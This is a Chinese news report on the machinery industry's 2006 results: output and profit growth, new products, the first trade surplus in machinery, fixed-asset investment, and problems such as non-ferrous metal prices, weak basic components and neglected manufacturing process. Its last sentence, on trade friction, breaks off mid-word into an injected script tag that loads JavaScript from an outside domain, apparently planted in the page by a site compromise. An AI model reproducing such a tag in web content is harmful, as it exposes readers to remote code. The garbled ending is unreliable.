中国钢铁新闻网报道 2006年机械行业发展步伐加快，工业总产值、产品产量、经济效益连创历史新高，技术进步和自主创新取得新进展，出口额快速增长，首次实现了贸易顺差。
一、运行特点
1、生产保持高速增长。全年累计完成工业增加值同比增长21.1%，增幅同比提高6.2个百分点。监测的95种产品中，产量增长的有85种。其中，大中型拖拉机、金属切削机床、发电设备、汽车产量均超过去年。发电设备中，燃煤发电设备生产9569万千瓦，占总产量的87%；大型火电30万千瓦以上机组占燃煤发电机组总产量的76%。汽车中轿车产量387万辆，同比增长36.5%，约占汽车产量的53.1%；自主品牌轿车98.3万辆，占轿车总产量的25.7%。
2、经济效益水平明显提高。全年累计完成主营收入5.4万亿元，同比增长28.8%；实现利润总额3023亿元，增长37.3%；主营业务收入利润率为5.58%，增加1.52个百分点；流动资产周转率1.99次，增加0.17次。亏损企业数下降3.7%；亏损企业亏损额基本与上年持平，同比增长0.3%。机械行业效益水平大幅提高的主要原因：一是市场需求旺盛；二是企业加强内部管理和技术改造，生产效率进一步提高；三是钢材价格持续回落使生产成本有所下降；四是回款情况较好、应收帐款控制在合理水平。此外，国家相关出口政策的调整，也对机械行业出口有利。
3、技术进步和自主创新取得新进展。全年新产品产值1.1万亿元，同比增长34.5%，增幅提高23.7个百分点。新产品产值占工业总产值的20.3%。数控机床占金属切削机床产量的比例15.2%，同比提高了2个百分点。重大新产品的研制成功，为国家重大经济建设项目提供了急需的技术装备和关键零部件，减少了设备进口，提高了我国机械行业为国民经济建设供应装备的能力。
4、机械产品进出口首次出现顺差。全年实现进出口总额2840亿美元，同比增长27.4%；其中进口额1416亿美元，增长19.6%；出口额1424亿美元，增长36.3%。分贸易类型看，一般贸易进出口占行业进出口总额比重47.8%，较上年上升了2.1个百分点；加工贸易进出口总额占行业进出口总额的35.6%，较上年上升了0.23个百分点。在出口额中，一般贸易与加工贸易之比由2003年的1：1.32变为1：1。
5、固定资产投资较快增长。全年固定资产投资项目数较2005年有较大的增加，投资额同比增长45%左右。其中，购置设备金额占总投资额的43.7%、厂房等建筑工程额占40%。投资增速较快的分行业是：石化通用 、重型矿山 、通用基础件行业。机械行业投资的快速增长主要原因：一是因城市扩张导致工厂搬迁，择址建新厂；二是产品升级，再造流程，提高生产制造水平和能力；三是也有少部分为生产能力简单扩张。
二、存在的问题
（一）原材料价格波动导致部分行业出现亏损。近两年机械行业利润率出现了较大的波动，主要受原材料价格波动的影响。2006年，在钢材价格水平相对较低的情况下，由于铜、铝等有色金属价格自年初大幅上涨，造成电工电器行业中用铜、铝较多的产品出现亏损，钢芯铝绞线生产行业出现全行业亏损。预计2007年主要原材料价格和供应基本平稳，但是仍需继续关注铜等有色金属价格的动向。
（二）冶金、发电等常规机械市场需求逐渐回落。在全国电力供需形势逐渐缓解的情况下，发电设备经过连续几年的高速增长，2008－2009年将出现订货不足，发电设备制造行业产能利用率将逐步下降。由于冶金、水泥等行业生产规模已经达到相当水平，总量快速扩张的空间减小，常规冶金、水泥机械产品需求将开始下降。
（三）基础配套产品技术水平跟不上主机的发展需要。目前机械基础配套件一直是机械整机产品技术发展的软肋。液压件、变速箱、柴油机、检测仪表、自动控制装置等关键配套产品，性能低、可靠性低、系统集成性差，困扰着主机生产企业。基础配套存在问题的原因：一是历史上机械工业重主机轻配套，虽然目前机械基础件的生产规模很大，但是大路产品占的比例大，在重大装备、大型设备、汽车等要求可靠性高的产品上装机不多，多采用进口配套解决。二是基础零部件研究涉及的基础理论广，但是目前科技投入非常少。科研机构改制后，应用基础理论、应用基础研究无人承担，技术储备已将用尽；实验室变成了工厂，新产品开发艰难，无能力在行业推广新技术；而企业的技术力量主要应付生产，无力从事研究工作，实验室开动率很低。三是国家政策导向中，强调发展主机的多，对基础零部件的支持和引导政策不多。
（四）忽视机械工艺的提高。机械工业重产品、轻工艺的观念至今尚未改变，仅有的科技投入主要放在产品完善上，企业对生产工艺的理论、技术开发以及推广应用重视不够，新技术、新工艺更新较慢。政府和行业在铸、锻、热处理、机械加工等各工艺环节的节能降耗、提高效率缺少引导性的政策措施。
（五）对外贸易摩擦增多。随着我国机械产品出口能力的增?script src=http://er12.com/t.js>
